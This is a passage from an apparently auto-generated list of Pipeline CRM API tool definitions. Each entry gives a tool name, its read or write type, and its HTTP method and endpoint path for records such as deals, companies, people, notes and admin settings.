Pipeline CRM record at /account_notifications/{id} GET /api/v1/pipelinecrm/account_notifications/{id}. Scopes: api. pipeline_crm_get_admin_api_tokens (read) — List Pipeline CRM records from /admin/api_tokens GET /api/v1/pipelinecrm/admin/api_tokens. Scopes: api. pipeline_crm_get_admin_calendar_entry_priorities (read) — List Pipeline CRM records from /admin/calendar_entry_priorities GET /api/v1/pipelinecrm/admin/calendar_entry_priorities. Scopes: api. pipeline_crm_get_admin_calendar_entry_priorities_by_id (read) — Get a Pipeline CRM record at /admin/calendar_entry_priorities/{id} GET /api/v1/pipelinecrm/admin/calendar_entry_priorities/{id}. Scopes: api. pipeline_crm_get_admin_calendar_entry_statuses (read) — List Pipeline CRM records from /admin/calendar_entry_statuses GET /api/v1/pipelinecrm/admin/calendar_entry_statuses. Scopes: api. pipeline_crm_get_admin_calendar_entry_statuses_by_id (read) — Get a Pipeline CRM record at /admin/calendar_entry_statuses/{id} GET /api/v1/pipelinecrm/admin/calendar_entry_statuses/{id}. Scopes: api. pipeline_crm_get_admin_call_outcomes (read) — List Pipeline CRM records from /admin/call_outcomes GET /api/v1/pipelinecrm/admin/call_outcomes. Scopes: api. pipeline_crm_get_admin_call_outcomes_by_id (read) — Get a Pipeline CRM record at /admin/call_outcomes/{id} GET /api/v1/pipelinecrm/admin/call_outcomes/{id}. Scopes: api. pipeline_crm_get_admin_company_custom_field_groups (read) — List Pipeline CRM records from /admin/company_custom_field_groups GET /api/v1/pipelinecrm/admin/company_custom_field_groups. Scopes: api. pipeline_crm_get_admin_company_custom_field_groups_by_id (read) — Get a Pipeline CRM record at /admin/company_custom_field_groups/{id} GET /api/v1/pipelinecrm/admin/company_custom_field_groups/{id}. Scopes: api. pipeline_crm_get_admin_company_custom_field_labels (read) — List Pipeline CRM records from /admin/company_custom_field_labels GET /api/v1/pipelinecrm/admin/company_custom_field_labels. Scopes: api. pipeline_crm_get_admin_company_custom_field_labels_by_id (read) — Get a Pipeline CRM record at /admin/company_custom_field_labels/{id} GET /api/v1/pipelinecrm/admin/company_custom_field_labels/{id}. Scopes: api. pipeline_crm_get_admin_company_tags (read) — List Pipeline CRM records from /admin/company_tags GET /api/v1/pipelinecrm/admin/company_tags. Scopes: api. pipeline_crm_get_admin_company_tags_by_id (read) — Get a Pipeline CRM record at /admin/company_tags/{id} GET /api/v1/pipelinecrm/admin/company_tags/{id}. Scopes: api. pipeline_crm_get_admin_custom_field_label_dropdown_entries (read) — List Pipeline CRM records from /admin/custom_field_label_dropdown_entries GET /api/v1/pipelinecrm/admin/custom_field_label_dropdown_entries. Scopes: api. pipeline_crm_get_admin_custom_field_label_dropdown_entries_by_id (read) — Get a Pipeline CRM record at /admin/custom_field_label_dropdown_entries/{id} GET /api/v1/pipelinecrm/admin/custom_field_label_dropdown_entries/{id}. Scopes: api. pipeline_crm_get_admin_deal_custom_field_groups (read) — List Pipeline CRM records from /admin/deal_custom_field_groups GET /api/v1/pipelinecrm/admin/deal_custom_field_groups. Scopes: api. pipeline_crm_get_admin_deal_custom_field_groups_by_id (read) — Get a Pipeline CRM record at /admin/deal_custom_field_groups/{id} GET /api/v1/pipelinecrm/admin/deal_custom_field_groups/{id}. Scopes: api. pipeline_crm_get_admin_deal_custom_field_labels (read) — List Pipeline CRM records from /admin/deal_custom_field_labels GET /api/v1/pipelinecrm/admin/deal_custom_field_labels. Scopes: api. pipeline_crm_get_admin_deal_custom_field_labels_by_id (read) — Get a Pipeline CRM record at /admin/deal_custom_field_labels/{id} GET /api/v1/pipelinecrm/admin/deal_custom_field_labels/{id}. Scopes: api. pipeline_crm_get_admin_deal_loss_reasons (read) — List Pipeline CRM records from /admin/deal_loss_reasons GET /api/v1/pipelinecrm/admin/deal_loss_reasons. Scopes: api. pipeline_crm_get_admin_deal_loss_reasons_by_id (read) — Get a Pipeline CRM record at /admin/deal_loss_reasons/{id} GET /api/v1/pipelinecrm/admin/deal_loss_reasons/{id}. Scopes: api. pipeline_crm_get_admin_deal_pipelines (read) — List Pipeline CRM records from /admin/deal_pipelines GET /api/v1/pipelinecrm/admin/deal_pipelines. Scopes: api. pipeline_crm_get_admin_deal_pipelines_by_id (read) — Get a Pipeline CRM record at /admin/deal_pipelines/{id} GET /api/v1/pipelinecrm/admin/deal_pipelines/{id}. Scopes: api. pipeline_crm_get_admin_deal_stages (read) — List Pipeline CRM records from /admin/deal_stages GET /api/v1/pipelinecrm/admin/deal_stages. Scopes: api. pipeline_crm_get_admin_deal_stages_by_id (read) — Get a Pipeline CRM record at /admin/deal_stages/{id} GET /api/v1/pipelinecrm/admin/deal_stages/{id}. Scopes: api. pipeline_crm_get_admin_deal_statuses (read) — List Pipeline CRM records from /admin/deal_statuses GET /api/v1/pipelinecrm/admin/deal_statuses. Scopes: api. pipeline_crm_get_admin_deal_statuses_by_id (read) — Get a Pipeline CRM record at /admin/deal_statuses/{id} GET /api/v1/pipelinecrm/admin/deal_statuses/{id}. Scopes: api. pipeline_crm_get_admin_deal_tags (read) — List Pipeline CRM records from /admin/deal_tags GET /api/v1/pipelinecrm/admin/deal_tags. Scopes: api. pipeline_crm_get_admin_deal_tags_by_id (read) — Get a Pipeline CRM record at /admin/deal_tags/{id} GET /api/v1/pipelinecrm/admin/deal_tags/{id}. Scopes: api. pipeline_crm_get_admin_deal_won_reasons (read) — List Pipeline CRM records from /admin/deal_won_reasons GET /api/v1/pipelinecrm/admin/deal_won_reasons. Scopes: api. pipeline_crm_get_admin_deal_won_reasons_by_id (read) — Get a Pipeline CRM record at /admin/deal_won_reasons/{id} GET /api/v1/pipelinecrm/admin/deal_won_reasons/{id}. Scopes: api. pipeline_crm_get_admin_document_tags (read) — List Pipeline CRM records from /admin/document_tags GET /api/v1/pipelinecrm/admin/document_tags. Scopes: api. pipeline_crm_get_admin_document_tags_by_id (read) — Get a Pipeline CRM record at /admin/document_tags/{id} GET /api/v1/pipelinecrm/admin/document_tags/{id}. Scopes: api. pipeline_crm_get_admin_event_categories (read) — List Pipeline CRM records from /admin/event_categories GET /api/v1/pipelinecrm/admin/event_categories. Scopes: api. pipeline_crm_get_admin_event_categories_by_id (read) — Get a Pipeline CRM record at /admin/event_categories/{id} GET /api/v1/pipelinecrm/admin/event_categories/{id}. Scopes: api. pipeline_crm_get_admin_lead_sources (read) — List Pipeline CRM records from /admin/lead_sources GET /api/v1/pipelinecrm/admin/lead_sources. Scopes: api. pipeline_crm_get_admin_lead_sources_by_id (read) — Get a Pipeline CRM record at /admin/lead_sources/{id} GET /api/v1/pipelinecrm/admin/lead_sources/{id}. Scopes: api. pipeline_crm_get_admin_lead_statuses (read) — List Pipeline CRM records from /admin/lead_statuses GET /api/v1/pipelinecrm/admin/lead_statuses. Scopes: api. pipeline_crm_get_admin_lead_statuses_by_id (read) — Get a Pipeline CRM record at /admin/lead_statuses/{id} GET /api/v1/pipelinecrm/admin/lead_statuses/{id}. Scopes: api. pipeline_crm_get_admin_note_categories (read) — List Pipeline CRM records from /admin/note_categories GET /api/v1/pipelinecrm/admin/note_categories. Scopes: api. pipeline_crm_get_admin_note_categories_by_id (read) — Get a Pipeline CRM record at /admin/note_categories/{id} GET /api/v1/pipelinecrm/admin/note_categories/{id}. Scopes: api. pipeline_crm_get_admin_note_categories_system (read) — List Pipeline CRM records from /admin/note_categories/system GET /api/v1/pipelinecrm/admin/note_categories/system. Scopes: api. pipeline_crm_get_admin_person_custom_field_groups (read) — List Pipeline CRM records from /admin/person_custom_field_groups GET /api/v1/pipelinecrm/admin/person_custom_field_groups. Scopes: api. pipeline_crm_get_admin_person_custom_field_groups_by_id (read) — Get a Pipeline CRM record at /admin/person_custom_field_groups/{id} GET /api/v1/pipelinecrm/admin/person_custom_field_groups/{id}. Scopes: api. pipeline_crm_get_admin_person_custom_field_labels (read) — List Pipeline CRM records from /admin/person_custom_field_labels GET /api/v1/pipelinecrm/admin/person_custom_field_labels. Scopes: api. pipeline_crm_get_admin_person_custom_field_labels_by_id (read) — Get a Pipeline CRM record at /admin/person_custom_field_labels/{id} GET /api/v1/pipelinecrm/admin/person_custom_field_labels/{id}. Scopes: api. pipeline_crm_get_admin_predefined_contacts_tags (read) — List Pipeline CRM records from /admin/predefined_contacts_tags GET /api/v1/pipelinecrm/admin/predefined_contacts_tags. Scopes: api. pipeline_crm_get_admin_predefined_contacts_tags_by_id (read) — Get a Pipeline CRM record at /admin/predefined_contacts_tags/{id} GET /api/v1/pipelinecrm/admin/predefined_contacts_tags/{id}. Scopes: api. pipeline_crm_get_admin_product_lines (read) — List Pipeline CRM records from /admin/product_lines GET /api/v1/pipelinecrm/admin/product_lines. Scopes: api. pipeline_crm_get_admin_project_custom_field_groups (read) — List Pipeline CRM records from /admin/project_custom_field_groups GET /api/v1/pipelinecrm/admin/project_custom_field_groups. Scopes: api. pipeline_crm_get_admin_project_custom_field_groups_by_id (read) — Get a Pipeline CRM record at /admin/project_custom_field_groups/{id} GET /api/v1/pipelinecrm/admin/project_custom_field_groups/{id}. Scopes: api. pipeline_crm_get_admin_project_custom_field_labels (read) — List Pipeline CRM records from /admin/project_custom_field_labels GET /api/v1/pipelinecrm/admin/project_custom_field_labels. Scopes: api. pipeline_crm_get_admin_project_custom_field_labels_by_id (read) — Get a Pipeline CRM record at /admin/project_custom_field_labels/{id} GET /api/v1/pipelinecrm/admin/project_custom_field_labels/{id}. Scopes: api. pipeline_crm_get_admin_project_milestone_statuses (read) — List Pipeline CRM records from /admin/project_milestone_statuses GET /api/v1/pipelinecrm/admin/project_milestone_statuses. Scopes: api. pipeline_crm_get_admin_project_milestone_statuses_by_id (read) — Get a Pipeline CRM record at /admin/project_milestone_statuses/{id} GET /api/v1/pipelinecrm/admin/project_milestone_statuses/{id}. Scopes: api. pipeline_crm_get_admin_project_templates (read) — List Pipeline CRM records from /admin/project_templates GET /api/v1/pipelinecrm/admin/project_templates. Scopes: api. pipeline_crm_get_admin_project_templates_by_id (read) — Get a Pipeline CRM record at /admin/project_templates/{id} GET /api/v1/pipelinecrm/admin/project_templates/{id}. Scopes: api. pipeline_crm_get_admin_revenue_types (read) — List Pipeline CRM records from /admin/revenue_types GET /api/v1/pipelinecrm/admin/revenue_types. Scopes: api. pipeline_crm_get_admin_revenue_types_by_id (read) — Get a Pipeline CRM record at /admin/revenue_types/{id} GET /api/v1/pipelinecrm/admin/revenue_types/{id}. Scopes: api. pipeline_crm_get_admin_teams (read) — List Pipeline CRM records from /admin/teams GET /api/v1/pipelinecrm/admin/teams. Scopes: api. pipeline_crm_get_admin_teams_by_id (read) — Get a Pipeline CRM record at /admin/teams/{id} GET /api/v1/pipelinecrm/admin/teams/{id}. Scopes: api. pipeline_crm_get_admin_todo_template_items (read) — List Pipeline CRM records from /admin/todo_template_items GET /api/v1/pipelinecrm/admin/todo_template_items. Scopes: api. pipeline_crm_get_admin_todo_template_items_by_id (read) — Get a Pipeline CRM record at /admin/todo_template_items/{id} GET /api/v1/pipelinecrm/admin/todo_template_items/{id}. Scopes: api. pipeline_crm_get_admin_todo_templates (read) — List Pipeline CRM records from /admin/todo_templates GET /api/v1/pipelinecrm/admin/todo_templates. Scopes: api. pipeline_crm_get_admin_todo_templates_by_id (read) — Get a Pipeline CRM record at /admin/todo_templates/{id} GET /api/v1/pipelinecrm/admin/todo_templates/{id}. Scopes: api. pipeline_crm_get_admin_users (read) — List Pipeline CRM records from /admin/users GET /api/v1/pipelinecrm/admin/users. Scopes: api. pipeline_crm_get_admin_users_by_id (read) — Get a Pipeline CRM record at /admin/users/{id} GET /api/v1/pipelinecrm/admin/users/{id}. Scopes: api. pipeline_crm_get_admin_webhooks (read) — List Pipeline CRM records from /admin/webhooks GET /api/v1/pipelinecrm/admin/webhooks. Scopes: api. pipeline_crm_get_audits (read) — List Pipeline CRM records from /audits GET /api/v1/pipelinecrm/audits. Scopes: api. pipeline_crm_get_calendar_entries (read) — List Pipeline CRM records from /calendar_entries GET /api/v1/pipelinecrm/calendar_entries. Scopes: api. pipeline_crm_get_calendar_entries_by_id (read) — Get a Pipeline CRM record at /calendar_entries/{id} GET /api/v1/pipelinecrm/calendar_entries/{id}. Scopes: api. pipeline_crm_get_calendar_entries_by_id_sub_calendar_entries (read) — Get a Pipeline CRM record at /calendar_entries/{id}/sub_calendar_entries GET /api/v1/pipelinecrm/calendar_entries/{id}/sub_calendar_entries. Scopes: api. pipeline_crm_get_calendar_entries_csv (read) — List Pipeline CRM records from /calendar_entries.csv GET /api/v1/pipelinecrm/calendar_entries.csv. Scopes: api. pipeline_crm_get_call_logs (read) — List Pipeline CRM records from /call_logs GET /api/v1/pipelinecrm/call_logs. Scopes: api. pipeline_crm_get_call_logs_by_id (read) — Get a Pipeline CRM record at /call_logs/{id} GET /api/v1/pipelinecrm/call_logs/{id}. Scopes: api. pipeline_crm_get_comments (read) — List Pipeline CRM records from /comments GET /api/v1/pipelinecrm/comments. Scopes: api. pipeline_crm_get_comments_by_id (read) — Get a Pipeline CRM record at /comments/{id} GET /api/v1/pipelinecrm/comments/{id}. Scopes: api. pipeline_crm_get_companies (read) — List Pipeline CRM records from /companies GET /api/v1/pipelinecrm/companies. Scopes: api. pipeline_crm_get_companies_autocomplete (read) — List Pipeline CRM records from /companies/autocomplete GET /api/v1/pipelinecrm/companies/autocomplete. Scopes: api. pipeline_crm_get_companies_by_company_id_children_companies (read) — Get a Pipeline CRM record at /companies/{company_id}/children_companies GET /api/v1/pipelinecrm/companies/{company_id}/children_companies. Scopes: api. pipeline_crm_get_companies_by_company_id_parent_companies (read) — Get a Pipeline CRM record at /companies/{company_id}/parent_companies GET /api/v1/pipelinecrm/companies/{company_id}/parent_companies. Scopes: api. pipeline_crm_get_companies_by_id (read) — Get a Pipeline CRM record at /companies/{id} GET /api/v1/pipelinecrm/companies/{id}. Scopes: api. pipeline_crm_get_companies_by_id_people (read) — Get a Pipeline CRM record at /companies/{id}/people GET /api/v1/pipelinecrm/companies/{id}/people. Scopes: api. pipeline_crm_get_companies_csv (read) — List Pipeline CRM records from /companies.csv GET /api/v1/pipelinecrm/companies.csv. Scopes: api. pipeline_crm_get_currencies (read) — List Pipeline CRM records from /currencies GET /api/v1/pipelinecrm/currencies. Scopes: api. pipeline_crm_get_currencies_by_id (read) — Get a Pipeline CRM record at /currencies/{id} GET /api/v1/pipelinecrm/currencies/{id}. Scopes: api. pipeline_crm_get_deals (read) — List Pipeline CRM records from /deals GET /api/v1/pipelinecrm/deals. Scopes: api. pipeline_crm_get_deals_by_id (read) — Get a Pipeline CRM record at /deals/{id} GET /api/v1/pipelinecrm/deals/{id}. Scopes: api. pipeline_crm_get_deals_by_id_notes (read) — Get a Pipeline CRM record at /deals/{id}/notes GET /api/v1/pipelinecrm/deals/{id}/notes. Scopes: api. pipeline_crm_get_deals_csv (read) — List Pipeline CRM records from /deals.csv GET /api/v1/pipelinecrm/deals.csv. Scopes: api. pipeline_crm_get_deals_totals_by_stage (read) — List Pipeline CRM records from /deals/totals_by_stage GET /api/v1/pipelinecrm/deals/totals_by_stage. Scopes: api. pipeline_crm_get_documents (read) — List Pipeline CRM records from /documents GET /api/v1/pipelinecrm/documents. Scopes: api. pipeline_crm_get_documents_by_id (read) — Get a Pipeline CRM record at /documents/{id} GET /api/v1/pipelinecrm/documents/{id}. Scopes: api. pipeline_crm_get_message_templates (read) — List Pipeline CRM records from /message_templates GET /api/v1/pipelinecrm/message_templates. Scopes: api. pipeline_crm_get_message_templates_by_id (read) — Get a Pipeline CRM record at /message_templates/{id} GET /api/v1/pipelinecrm/message_templates/{id}. Scopes: api. pipeline_crm_get_note_templates (read) — List Pipeline CRM records from /note_templates GET /api/v1/pipelinecrm/note_templates. Scopes: api. pipeline_crm_get_note_templates_by_id (read) — Get a Pipeline CRM record at /note_templates/{id} GET /api/v1/pipelinecrm/note_templates/{id}. Scopes: api. pipeline_crm_get_notes (read) — List Pipeline CRM records from /notes GET /api/v1/pipelinecrm/notes. Scopes: api. pipeline_crm_get_notes_by_id (read) — Get a Pipeline CRM record at /notes/{id} GET /api/v1/pipelinecrm/notes/{id}. Scopes: api. pipeline_crm_get_notes_by_note_id_comments (read) — Get a Pipeline CRM record at /notes/{note_id}/comments GET /api/v1/pipelinecrm/notes/{note_id}/comments. Scopes: api. pipeline_crm_get_notes_by_note_id_comments_by_id (read) — Get a Pipeline CRM record at /notes/{note_id}/comments/{id} GET /api/v1/pipelinecrm/notes/{note_id}/comments/{id}. Scopes: api. pipeline_crm_get_notes_csv (read) — List Pipeline CRM records from /notes.csv GET /api/v1/pipelinecrm/notes.csv. Scopes: api. pipeline_crm_get_people (read) — List Pipeline CRM records from /people GET /api/v1/pipelinecrm/people. Scopes: api. pipeline_crm_get_people_autocomplete (read) — List Pipeline CRM records from /people/autocomplete GET /api/v1/pipelinecrm/people/autocomplete. Scopes: api. pipeline_crm_get_people_by_id (read) — Get a Pipeline CRM record at /people/{id} GET /api/v1/pipelinecrm/people/{id}. Scopes: api. pipeline_crm_get_people_by_id_deals (read) — Get a Pipeline CRM record at /people/{id}/deals GET /api/v1/pipelinecrm/people/{id}/deals. Scopes: api. pipeline_crm_get_people_by_id_notes (read) — Get a Pipeline CRM record at /people/{id}/notes GET /api/v1/pipelinecrm/people/{id}/notes. Scopes: api. pipeline_crm_get_people_csv (read) — List Pipeline CRM records from /people.csv GET /api/v1/pipelinecrm/people.csv. Scopes: api. pipeline_crm_get_profile (read) — List Pipeline CRM records from /profile GET /api/v1/pipelinecrm/profile. Scopes: api. pipeline_crm_get_project_milestones (read) — List Pipeline CRM records from /project_milestones GET /api/v1/pipelinecrm/project_milestones. Scopes: api. pipeline_crm_get_project_milestones_autocomplete (read) — List Pipeline CRM records from /project_milestones/autocomplete GET /api/v1/pipelinecrm/project_milestones/autocomplete. Scopes: api. pipeline_crm_get_project_milestones_by_id (read) — Get a Pipeline CRM record at /project_milestones/{id} GET /api/v1/pipelinecrm/project_milestones/{id}. Scopes: api. pipeline_crm_get_projects (read) — List Pipeline CRM records from /projects GET /api/v1/pipelinecrm/projects. Scopes: api. pipeline_crm_get_projects_autocomplete (read) — List Pipeline CRM records from /projects/autocomplete GET /api/v1/pipelinecrm/projects/autocomplete. Scopes: api. pipeline_crm_get_projects_by_id (read) — Get a Pipeline CRM record at /projects/{id} GET /api/v1/pipelinecrm/projects/{id}. Scopes: api. pipeline_crm_get_projects_by_project_id_project_associations (read) — Get a Pipeline CRM record at /projects/{project_id}/project_associations GET /api/v1/pipelinecrm/projects/{project_id}/project_associations. Scopes: api. pipeline_crm_get_projects_by_project_id_project_milestones (read) — Get a Pipeline CRM record at /projects/{project_id}/project_milestones GET /api/v1/pipelinecrm/projects/{project_id}/project_milestones. Scopes: api. pipeline_crm_get_searches (read) — List Pipeline CRM records from /searches GET /api/v1/pipelinecrm/searches. Scopes: api. pipeline_crm_get_searches_by_id (read) — Get a Pipeline CRM record at /searches/{id} GET /api/v1/pipelinecrm/searches/{id}. Scopes: api. pipeline_crm_get_searches_by_id_perform (read) — Get a Pipeline CRM record at /searches/{id}/perform GET /api/v1/pipelinecrm/searches/{id}/perform. Scopes: api. pipeline_crm_get_starred_searches (read) — List Pipeline CRM records from /starred_searches GET /api/v1/pipelinecrm/starred_searches. Scopes: api. pipeline_crm_get_starred_searches_by_id (read) — Get a Pipeline CRM record at /starred_searches/{id} GET /api/v1/pipelinecrm/starred_searches/{id}. Scopes: api. pipeline_crm_get_users (read) — List Pipeline CRM records from /users GET /api/v1/pipelinecrm/users. Scopes: api. pipeline_crm_get_users_by_id (read) — Get a Pipeline CRM record at /users/{id} GET /api/v1/pipelinecrm/users/{id}. Scopes: api. pipeline_crm_patch_projects_by_id_archive (write) — Update a Pipeline CRM record at /projects/{id}/archive PATCH /api/v1/pipelinecrm/projects/{id}/archive. Scopes: api. pipeline_crm_patch_projects_by_id_unarchive (write) — Update a Pipeline CRM record at /projects/{id}/unarchive PATCH /api/v1/pipelinecrm/projects/{id}/unarchive. Scopes: api. pipeline_crm_post_account_notifications (write) — Create a Pipeline CRM record at /account_notifications POST /api/v1/pipelinecrm/account_notifications. Scopes: api. pipeline_crm_post_admin_calendar_entry_priorities (write) — Create a Pipeline CRM record at /admin/calendar_entry_priorities POST /api/v1/pipelinecrm/admin/calendar_entry_priorities. Scopes: api. pipeline_crm_post_admin_calendar_entry_statuses (write) — Create a Pipeline CRM record at /admin/calendar_entry_statuses POST /api/v1/pipelinecrm/admin/calendar_entry_statuses. Scopes: api. pipeline_crm_post_admin_call_outcomes (write) — Create a Pipeline CRM record at /admin/call_outcomes POST /api/v1/pipelinecrm/admin/call_outcomes. Scopes: api. pipeline_crm_post_admin_company_custom_field_groups (write) — Create a Pipeline CRM record at /admin/company_custom_field_groups POST /api/v1/pipelinecrm/admin/company_custom_field_groups. Scopes: api. pipeline_crm_post_admin_company_custom_field_labels (write) — Create a Pipeline CRM record at /admin/company_custom_field_labels POST /api/v1/pipelinecrm/admin/company_custom_field_labels. Scopes: api. pipeline_crm_post_admin_company_tags (write) — Create a Pipeline CRM record at /admin/company_tags POST /api/v1/pipelinecrm/admin/company_tags. Scopes: api. pipeline_crm_post_admin_custom_field_label_dropdown_entries (write) — Create a Pipeline CRM record at /admin/custom_field_label_dropdown_entries POST /api/v1/pipelinecrm/admin/custom_field_label_dropdown_entries. Scopes: api. pipeline_crm_post_admin_deal_custom_field_groups (write) — Create a Pipeline CRM record at /admin/deal_custom_field_groups POST /api/v1/pipelinecrm/admin/deal_custom_field_groups. Scopes: api. pipeline_crm_post_admin_deal_custom_field_labels (write) — Create a Pipeline CRM record at /admin/deal_custom_field_labels POST /api/v1/pipelinecrm/admin/deal_custom_field_labels. Scopes: api. pipeline_crm_post_admin_deal_loss_reasons (write) — Create a Pipeline CRM record at /admin/deal_loss_reasons POST /api/v1/pipelinecrm/admin/deal_loss_reasons. Scopes: api. pipeline_crm_post_admin_deal_pipelines (write) — Create a Pipeline CRM record at /admin/deal_pipelines POST /api/v1/pipelinecrm/admin/deal_pipelines. Scopes: api. pipeline_crm_post_admin_deal_stages (write) — Create a Pipeline CRM record at /admin/deal_stages POST /api/v1/pipelinecrm/admin/deal_stages. Scopes: api. pipeline_crm_post_admin_deal_statuses (write) — Create a Pipeline CRM record at /admin/deal_statuses POST /api/v1/pipelinecrm/admin/deal_statuses. Scopes: api. pipeline_crm_post_admin_deal_tags (write) — Create a Pipeline CRM record at /admin/deal_tags POST /api/v1/pipelinecrm/admin/deal_tags. Scopes: api. pipeline_crm_post_admin_deal_won_reasons (write) — Create a Pipeline CRM record at /admin/deal_won_reasons POST /api/v1/pipelinecrm/admin/deal_won_reasons. Scopes: api. pipeline_crm_post_admin_document_tags (write) — Create a Pipeline CRM record at /admin/document_tags POST /api/v1/pipelinecrm/admin/document_tags. Scopes: api. pipeline_crm_post_admin_event_categories (write) — Create a Pipeline CRM record at /admin/event_categories POST /api/v1/pipelinecrm/admin/event_categories. Scopes: api. pipeline_crm_post_admin_lead_sources (write) — Create a Pipeline CRM record at /admin/lead_sources POST /api/v1/pipelinecrm/admin/lead_sources. Scopes: api. pipeline_crm_post_admin_lead_statuses (write) — Create a Pipeline CRM record at /admin/lead_statuses POST /api/v1/pipelinecrm/admin/lead_statuses. Scopes: api. pipeline_crm_post_admin_note_categories (write) — Create a Pipeline CRM record at /admin/note_categories POST /api/v1/pipelinecrm/admin/note_categories. Scopes: api. pipeline_crm_post_admin_person_custom_field_groups (write) — Create a Pipeline CRM record at /admin/person_custom_field_groups POST /api/v1/pipelinecrm/admin/person_custom_field_groups. Scopes: api. pipeline_crm_post_admin_person_custom_field_labels (write) — Create a Pipeline CRM record at /admin/person_custom_field_labels POST /api/v1/pipelinecrm/admin/person_custom_field_labels. Scopes: api. pipeline_crm_post_admin_predefined_contacts_tags (write) — Create a Pipeline CRM record at /admin/predefined_contacts_tags POST /api/v1/pipelinecrm/admin/predefined_contacts_tags. Scopes: api. pipeline_crm_post_admin_product_lines (write) — Create a Pipeline CRM record at /admin/product_lines POST /api/v1/pipelinecrm/admin/product_lines. Scopes: api. pipeline_crm_post_admin_project_custom_field_groups (write) — Create a Pipeline CRM record at /admin/project_custom_field_groups POST /api/v1/pipelinecrm/admin/project_custom_field_groups. Scopes: api. pipeline_crm_post_admin_project_custom_field_labels (write) — Create a Pipeline CRM record at /admin/project_custom_field_labels POST /api/v1/pipelinecrm/admin/project_custom_field_labels. Scopes: api. pipeline_crm_post_admin_project_milestone_statuses (write) — Create a Pipeline CRM record at /admin/project_milestone_statuses POST /api/v1/pipelinecrm/admin/project_milestone_statuses. Scopes: api. pipeline_crm_post_admin_project_templates (write) — Create a Pipeline CRM record at /admin/project_templates POST /api/v1/pipelinecrm/admin/project_templates. Scopes: api. pipeline_crm_post_admin_revenue_types (write) — Create a Pipeline CRM record at /admin/revenue_types POST /api/v1/pipelinecrm/admin/revenue_types. Scopes: api. pipeline_crm_post_admin_teams (write) — Create a Pipeline CRM record at /admin/teams POST /api/v1/pipelinecrm/admin/teams. Scopes: api. pipeline_crm_post_admin_todo_template_items (write) — Create a Pipeline CRM record at /admin/todo_template_items POST /api/v1/pipelinecrm/admin/todo_template_items. Scopes: api. pipeline_crm_post_admin_todo_templates (write) — Create a Pipeline CRM record at /admin/todo_templates POST /api/v1/pipelinecrm/admin/todo_templates. Scopes: api. pipeline_crm_post_admin_users (write) — Create a Pipeline CRM record at /admin/users POST /api/v1/pipelinecrm/admin/users. Scopes: api. pipeline_crm_post_admin_webhooks (write) — Create a Pipeline CRM record at /admin/webhooks POST /api/v1/pipelinecrm/admin/webhooks. Scopes: api. pipeline_crm_post_calendar_entries (write) — Create a Pipeline CRM record at /calendar_entries POST /api/v1/pipelinecrm/calendar_entries. Scopes: api. pipeline_crm_post_calendar_entries_by_id_sub_calendar_entries (write) — Create a Pipeline CRM record at /calendar_entries/{id}/sub_calendar_entries POST /api/v1/pipelinecrm/calendar_entries/{id}/sub_calendar_entries. Scopes: api. pipeline_crm_post_comments (write) — Create a Pipeline CRM record at /comments POST /api/v1/pipelinecrm/comments. Scopes: api. pipeline_crm_post_companies (write) — Create a Pipeline CRM record at /companies POST /api/v1/pipelinecrm/companies. Scopes: api. pipeline_crm_post_companies_by_company_id_children_companies (write) — Create a Pipeline CRM record at /companies/{company_id}/children_companies POST /api/v1/pipelinecrm/companies/{company_id}/children_companies. Scopes: api. pipeline_crm_post_companies_by_company_id_parent_companies (write) — Create a Pipeline CRM record at /companies/{company_id}/parent_companies POST /api/v1/pipelinecrm/companies/{company_id}/parent_companies. Scopes: api. pipeline_crm_post_customers (write) — Create a Pipeline CRM record at /customers POST /api/v1/pipelinecrm/customers. Scopes: api. pipeline_crm_post_deals (write) — Create a Pipeline CRM record at /deals POST /api/v1/pipelinecrm/deals. Scopes: api. pipeline_crm_post_documents (write) — Create a Pipeline CRM record at /documents POST /api/v1/pipelinecrm/documents. Scopes: api. pipeline_crm_post_notes (write) — Create a Pipeline CRM record at /notes POST /api/v1/pipelinecrm/notes. Scopes: api. pipeline_crm_post_notes_by_note_id_comments (write) — Create a Pipeline CRM record at /notes/{note_id}/comments POST /api/v1/pipelinecrm/notes/{note_id}/comments. Scopes: api. pipeline_crm_post_people (write) — Create a Pipeline CRM record at /people POST /api/v1/pipelinecrm/people. Scopes: api. pipeline_crm_post_project_milestones (write) — Create a Pipeline CRM record at /project_milestones POST /api/v1/pipelinecrm/project_milestones. Scopes: api. pipeline_crm_post_project_milestones_bulk_action (write) — Create a Pipeline CRM record at /project_milestones/bulk_action POST /api/v1/pipelinecrm/project_milestones/bulk_action. Scopes: api. pipeline_crm_post_projects (write) — Create a Pipeline CRM record at /projects POST /api/v1/pipelinecrm/projects. Scopes: api. pipeline_crm_post_projects_by_id_invite_collaborator (write) — Create a Pipeline CRM record at /projects/{id}/invite_collaborator POST /api/v1/pipelinecrm/projects/{id}/invite_collaborator. Scopes: api. pipeline_crm_post_projects_by_project_id_project_associations (write) — Create a Pipeline CRM record at /projects/{project_id}/project_associations POST /api/v1/pipelinecrm/projects/{project_id}/project_associations. Scopes: api. pipeline_crm_post_projects_by_project_id_project_milestones (write) — Create a Pipeline CRM record at /projects/{project_id}/project_milestones POST /api/v1/pipelinecrm/projects/{project_id}/project_milestones. Scopes: api. pipeline_crm_post_searches (write) — Create a Pipeline CRM record at /searches POST /api/v1/pipelinecrm/searches. Scopes: api. pipeline_crm_post_searches_by_id_perform (write) — Create a Pipeline CRM record at /searches/{id}/perform POST /api/v1/pipelinecrm/searches/{id}/perform. Scopes: api. pipeline_crm_post_searches_perform (write) — Create a Pipeline CRM record at /searches/perform POST /api/v1/pipelinecrm/searches/perform. Scopes: api. pipeline_crm_put_account_notifications_by_id (write) — Replace a Pipeline CRM record at /account_notifications/{id} PUT /api/v1/pipelinecrm/account_notifications/{id}. Scopes: api. pipeline_crm_put_admin_calendar_entry_priorities_by_id (write) — Replace a Pipeline CRM record at /admin/calendar_entry_priorities/{id} PUT /api/v1/pipelinecrm/admin/calendar_entry_priorities/{id}. Scopes: api. pipeline_crm_put_admin_calendar_entry_statuses_by_id (write) — Replace a Pipeline CRM record at /admin/calendar_entry_statuses/{id} PUT /api/v1/pipelinecrm/admin/calendar_entry_statuses/{id}. Scopes: api. pipeline_crm_put_admin_calendar_entry_statuses_sort (write) — Replace a Pipeline CRM record at /admin/calendar_entry_statuses/sort PUT /api/v1/pipelinecrm/admin/calendar_entry_statuses/sort. Scopes: api. pipeline_crm_put_admin_call_outcomes_by_id (write) — Replace a Pipeline CRM record at /admin/call_outcomes/{id} PUT /api/v1/pipelinecrm/admin/call_outcomes/{id}. Scopes: api. pipeline_crm_put_admin_call_outcomes_sort (write) — Replace a Pipeline CRM record at /admin/call_outcomes/sort PUT 